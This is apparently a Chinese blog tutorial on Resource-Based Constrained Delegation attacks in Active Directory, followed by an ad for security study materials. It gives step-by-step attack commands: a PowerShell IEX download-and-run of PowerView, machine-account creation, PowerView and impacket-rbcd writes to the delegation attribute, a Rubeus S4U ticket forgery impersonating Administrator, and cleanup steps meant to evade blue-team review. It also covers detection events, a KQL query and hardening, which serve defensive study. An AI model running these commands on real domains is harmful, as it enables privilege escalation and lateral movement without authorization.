基于资源的约束委派攻击,红队高频攻击链路
免责声明:本文内容仅用于授权红队演练、企业 AD 安全自查、安全学习研究,严禁在未授权的域环境执行 RBCD、AD 属性篡改、Kerberos 票据伪造等操作。未经授权对计算机信息系统进行渗透测试属于违法行为,所有操作带来的法律后果由操作者自行承担。
前言
基于资源的约束委派(Resource-Based Constrained Delegation,简称 RBCD),是域渗透红队最经典、使用率极高的 Kerberos 委派攻击技术,MITRE ATT&CK 编号T1558.002。很多人把 RBCD 和传统约束委派混淆:传统约束委派是在发起委派的账号上配置,域管理员权限才能修改;而 RBCD 信任方向完全反转,由目标资源(计算机对象)自己决定,允许哪个账号来模拟用户访问自己。
RBCD 最大魅力:不需要域管理员权限,只要攻击者手里的账号对目标计算机对象拥有GenericWrite / GenericAll / WriteDacl / WriteOwner等 ACL 写入权限,就可以修改目标机器的msDS-AllowedToActOnBehalfOfOtherIdentity属性,配置委派。配合 AD 默认的MachineAccountQuota=10,普通域用户最多可以在域内创建 10 个机器账号,整套攻击链路从低权限域账号出发,直接横向拿下目标服务器,甚至域控。
版本前提:RBCD 从 Windows Server 2012 开始支持,2008 及更早版本不支持 RBCD。
常见误区:
- RBCD 攻击必须拿到域管权限;
- RBCD 只能针对普通工作站,不能攻击域控;
- 修改 RBCD 属性之后永久生效,没有日志;
- S4U2Proxy 可以模拟所有账号,加入 Protected Users 组账号同样可以被模拟。
一、RBCD 核心原理:S4U2Self + S4U2Proxy
RBCD 攻击依赖 Kerberos 两个扩展协议 S4U(Service for User),也是整套攻击的核心。
- S4U2Self:向 KDC 申请一张给自己本身服务的票据,用攻击者可控的机器账号身份,模拟指定用户(例如域管理员 Administrator),获取一张转发属性的 ST 票据。
- S4U2Proxy:拿着 S4U2Self 拿到的票据,向 KDC 再次申请票据,访问目标资源(被配置 RBCD 的机器),KDC 校验目标机器
msDS-AllowedToActOnBehalfOfOtherIdentity属性,如果攻击者机器账号在允许列表,则返回目标服务的 ST 票据。
msDS-AllowedToActOnBehalfOfOtherIdentity是目标计算机对象上的关键属性,这个属性存储允许进行委派模拟的主体 SID。简单一句话理解:目标机器记录了哪些账号可以冒充任意用户访问我。
传统约束委派:服务 A 告诉 KDC,我可以去访问服务 B;
RBCD:服务 B 告诉 KDC,只有账号 X 可以冒充用户访问我。
二、RBCD 完整攻击前置条件(缺一不可)
- 攻击者拥有一个域账号凭据;
- 该域账号对目标计算机对象拥有写入权限:
GenericWrite / GenericAll / WriteDacl / WriteOwner / AddAllowedToAct; - 域环境
MachineAccountQuota大于 0(默认值 10,允许普通域用户创建机器账号); - 攻击者可以创建 / 控制一个机器账号(带 SPN,机器账号自带 SPN);
- 目标系统版本 ≥ Server2012;
- 目标计算机对象允许修改
msDS-AllowedToActOnBehalfOfOtherIdentity属性。
备选场景:如果
MachineAccountQuota=0,普通用户无法新建机器账号,则攻击者需要找到已经控制、自带 SPN 的账号(服务账号 / 机器账号),使用已有账号完成 RBCD 攻击。
三、红队 RBCD 完整攻击链路(标准流程)
步骤 1:信息收集,BloodHound 寻找攻击路径
拿到低权限域账号后,使用 SharpHound 采集 AD 数据,导入 BloodHound,查询 ACL,寻找:用户对计算机对象拥有 GenericWrite/GenericAll的路径。
BloodHound Cypher 查询语句:
MATCH p=(u:User)-[:GenericAll|GenericWrite|WriteOwner|WriteDacl]->(c:Computer) RETURN p找到目标:用户lowuser对WEB01$计算机对象拥有 GenericWrite 权限,这就是 RBCD 入口。
原理:
lowuser可以修改 WEB01$ 计算机对象的 AD 属性,修改msDS-AllowedToActOnBehalfOfOtherIdentity。
步骤 2:在域内创建攻击者可控的机器账号
利用默认MachineAccountQuota=10,低权限域用户创建 Fake 机器账号FAKECOMP$,设置机器账号密码。
PowerView 创建机器账号(Windows)
# 导入PowerView IEX(New-Object Net.WebClient).DownloadString("http://xxx/PowerView.ps1") New-ADComputer -Name "FAKECOMP" -AccountPassword (ConvertTo-SecureString "Fake@123456" -AsPlainText -Force) -Enabled $trueImpacket bloodyAD / rbcd.py(Kali Linux)
bloodyAD -u lowuser -p 'User@123' -d test.local --host 192.168.1.10 add computer FAKECOMP 'Fake@123456'创建成功,拿到FAKECOMP$机器账号,获取它的 SID 和 NTLM 哈希。
步骤 3:修改目标计算机对象 RBCD 属性,写入 Fake 机器账号 SID
将FAKECOMP$的 SID 写入目标机器WEB01$的msDS-AllowedToActOnBehalfOfOtherIdentity属性,代表WEB01 允许 FAKECOMP$ 账号模拟任意用户访问自身资源。
PowerShell 操作:
# 获取fake机器账号SID $fakeCompSID = Get-DomainComputer FAKECOMP -Properties objectsid | Select -Expand objectsid # 构造安全描述符 $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$fakeCompSID)" $SDbytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDbytes,0) # 写入目标WEB01$的msDS-AllowedToActOnBehalfOfOtherIdentity Set-DomainObject -Identity "WEB01$" -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDbytes}Impacket rbcd.py 一键配置(Linux)
impacket-rbcd -delegate-from 'FAKECOMP$' -delegate-to 'WEB01$' -dc-ip 192.168.1.10 test.local/lowuser:'User@123' -action write验证配置是否写入成功:
impacket-rbcd -delegate-to 'WEB01$' -dc-ip 192.168.1.10 test.local/lowuser:'User@123' -action read步骤 4:Rubeus 执行 S4U 请求,伪造域管理员票据
使用 Rubeus 调用 S4U2Self + S4U2Proxy,模拟域管理员 Administrator,申请访问 WEB01 的 CIFS 服务票据,直接内存注入(PTT)。
Rubeus.exe s4u /user:FAKECOMP$ /rc4:FAKECOMP机器账号NTLM哈希 /impersonateuser:Administrator /msdsspn:cifs/web01.test.local /domain:test.local /dc:192.168.1.10 /ptt参数说明:
/user:我们创建的 fake 机器账号;/rc4:fake 机器账号 NTLM Hash;/impersonateuser:要模拟的用户(Administrator 域管理员);/msdsspn:目标服务 SPN,cifs 用于访问文件共享 C$;/ptt:Pass-the-Ticket,直接注入当前内存。
票据注入成功后,直接访问目标主机 C$ 共享:
dir \\web01.test.local\C$拿到 WEB01 服务器管理员权限,完成横向移动。
如果需要 WinRM 远程执行命令,修改 SPN 为HOST/web01.test.local。
四、RBCD 常见攻击变种与实战场景
场景 1:RBCD 攻击域控(高危)
如果低权限账号对域控计算机对象拥有 GenericWrite 权限,直接对 DC 执行 RBCD 攻击,模拟域管理员访问域控 CIFS,拿下域控。
这是红队非常经典的提权路径,很多企业运维错误配置,普通运维账号对 DC 计算机对象拥有 GenericWrite。
场景 2:MachineAccountQuota=0,无法新建机器账号
无法新建机器账号时,攻击者寻找已经控制、自带 SPN 的账号(业务服务账号、其他已经拿下的机器账号),用这个已有账号作为delegate-from主体,配置 RBCD,后续 S4U 流程不变。
场景 3:KrbRelayUp + RBCD 组合攻击
KrbRelayUp 是 NTLM 中继 + RBCD 的组合攻击,无需提前拿到 GenericWrite 权限,通过 LDAP 中继自动获取 WriteDacl,然后自动配置 RBCD、创建机器账号、S4U 伪造票据,一键拿下本地主机,内网横向非常常见。
场景 4:RBCD 后清理痕迹
攻击完成,清理 AD 属性,删除写入的msDS-AllowedToActOnBehalfOfOtherIdentity,避免蓝队审计发现:
Set-DomainObject -Identity "WEB01$" -Clear 'msds-allowedtoactonbehalfofotheridentity'Linux impacket 命令清除:
impacket-rbcd -delegate-to 'WEB01$' -dc-ip 192.168.1.10 test.local/lowuser:'User@123' -action clear五、RBCD 攻击日志痕迹,蓝队检测要点
RBCD 攻击由创建机器账号、修改计算机对象 RBCD 属性、S4U Kerberos 票据请求三部分构成,对应的日志事件 ID。
前提:域控需要开启审计目录服务更改,否则 5136 日志不会生成(默认关闭)。
- EventID 4741:创建计算机账号
普通域用户新建机器账号,告警:非管理员账号创建计算机对象,名称不符合企业主机命名规范。 - EventID 5136:目录服务对象修改(RBCD 核心告警)
修改msDS-AllowedToActOnBehalfOfOtherIdentity属性,ObjectClass=computer,该事件是 RBCD 攻击最核心检测点。
KQL 查询(Sentinel)
SecurityEvent | where EventID == 5136 | where ObjectClass == "computer" | where AttributeLDAPDisplayName == "msDS-AllowedToActOnBehalfOfOtherIdentity" | project TimeGenerated,SubjectUserName,ObjectDN,OperationType- EventID 4769:S4U TGS_REQ 请求
S4U 会产生 TGS 请求,特征:
- 同一个账号,短时间大量 TGS 请求;
- S4U 请求中包含
S4U2Self标识,KDC 日志可识别 S4U 票据请求。
- MDI(Defender for Identity)内置告警:可疑 Kerberos 委派活动、RBCD 滥用告警。
注意:RBCD 攻击不会产生 4768 AS_REQ 日志(S4U 不走正常 AS 阶段申请 TGT),不能依赖 4768 进行检测。
六、域加固方案,防御 RBCD 攻击
1. 修改域属性 ms-DS-MachineAccountQuota=0(最有效的缓解手段)
禁止普通域用户创建机器账号,直接阻断 RBCD 最常用的前置路径。
PowerShell 设置域属性:
Set-ADDomain -Identity test.local -Replace @{"ms-DS-MachineAccountQuota"="0"}注意:设置为 0 之后,只有域管理员才可以新建计算机账号。
2. 定期审计 AD ACL,清理危险权限
使用 BloodHound、PowerView 批量扫描,清理普通用户对计算机对象的GenericWrite / GenericAll / WriteDacl / WriteOwner权限。
企业最常见漏洞:将服务器的管理权限错误授予普通域用户,导致该用户拥有 GenericWrite,形成 RBCD 攻击入口。
3. 高权限账号加入 Protected Users 组
加入 Protected Users 组的账号无法被 S4U2Proxy 模拟。就算攻击者成功配置 RBCD,也不能模拟 Protected Users 内的账号,极大缩小攻击面。
域管理员、企业管理员等高权限账号建议放入 Protected Users。
4. 开启目录服务更改审计(Event5136)
域控组策略开启「审计目录服务更改」,集中日志上送到 SIEM,监控msDS-AllowedToActOnBehalfOfOtherIdentity属性变更。
5. 最小权限,遵循 Tier0 域分层运维
Tier0(域控)严格限制 ACL,普通运维账号禁止拥有对域控计算机对象的任何写入权限。
6. 监控异常机器账号
定期巡检 AD 内计算机对象,发现命名异常、不在资产台账内的机器账号,及时清理;监控 4741 新建计算机账号事件。
七、RBCD 与其他委派攻击横向对比
| 攻击类型 | 配置位置 | 所需权限 | 核心协议 | 攻击特点 |
|---|---|---|---|---|
| RBCD 基于资源约束委派 | 目标计算机对象 | 对目标机器对象写权限,不需要域管 | S4U2Self+S4U2Proxy | 低权限横向,红队高频,Win2012+ |
| 传统约束委派 | 发起委派账号 | 域管理员配置 | TGS | 配置繁琐,需要域管,较少见 |
| 无约束委派 | 计算机对象,TRUSTED_FOR_DELEGATION | 拿到主机权限 | TGT 转发 | 高风险,一旦拿下主机,抓取 TGT,全域持久化 |
| 影子凭据 | 用户 / 计算机对象 | 写权限 | PKINIT | 不需要机器账号配额,证书方式伪造票据 |
八、红队实战踩坑总结
- 执行 S4U 时报错
KDC_ERR_BADOPTION:目标系统版本低于 2012,不支持 RBCD;或者目标账号加入 Protected Users,不能被模拟; - 修改
msDS-AllowedToActOnBehalfOfOtherIdentity报错权限不足:当前账号没有 GenericWrite/WriteDacl; - 票据注入成功,但无法访问 C$:目标主机防火墙拦截 445,SPN 写错,或者目标机器本地安全策略限制;
- MachineAccountQuota=0,无法新建机器账号:需要寻找已有可控账号代替 Fake 机器账号;
- 攻击后一定要清理
msDS-AllowedToActOnBehalfOfOtherIdentity属性,否则蓝队巡检会直接发现异常 RBCD 配置; - RBCD 拿到的票据只对指定 SPN 生效,CIFS 票据只能访问 SMB 共享,不能用于 WinRM,需要单独申请 HOST SPN 票据。
九、总结
RBCD 之所以成为红队域横向移动的王牌技术,核心在于它攻击起点门槛极低,仅需要低权限域账号 + 对目标计算机对象的 ACL 写入权限,不需要域管理员。整套链路利用 AD 默认MachineAccountQuota创建机器账号,修改目标机器 RBCD 属性,S4U 协议模拟高权限用户,拿到目标主机权限。
防守侧不能只依赖单一策略,优先把MachineAccountQuota置 0,定期审计 AD 对象 ACL,将高权限账号放入 Protected Users,开启 5136 目录变更审计。RBCD 攻击本质不是 Kerberos 协议漏洞,根源是 AD 对象过度授权,很多企业域安全风险来自多年遗留错误 ACL,BloodHound 可以提前发现 GenericWrite 等高风险路径,提前消除 RBCD 攻击入口。
最后
关于网络安全技术储备
网络安全是当今信息时代中非常重要的一环。无论是找工作还是感兴趣(黑客),都是未来职业选择中上上之选,为了保护自己的网络安全,学习网络安全知识是必不可少的。
如果你是准备学习网络安全(黑客)或者正在学习,下面这些你应该能用得上:
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
一、网络安全(黑客)学习路线
网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
二、网络安全教程视频
我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。
三、网络安全CTF实战案例
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~
四、网络安全面试题
最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。
网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。
机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!
这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】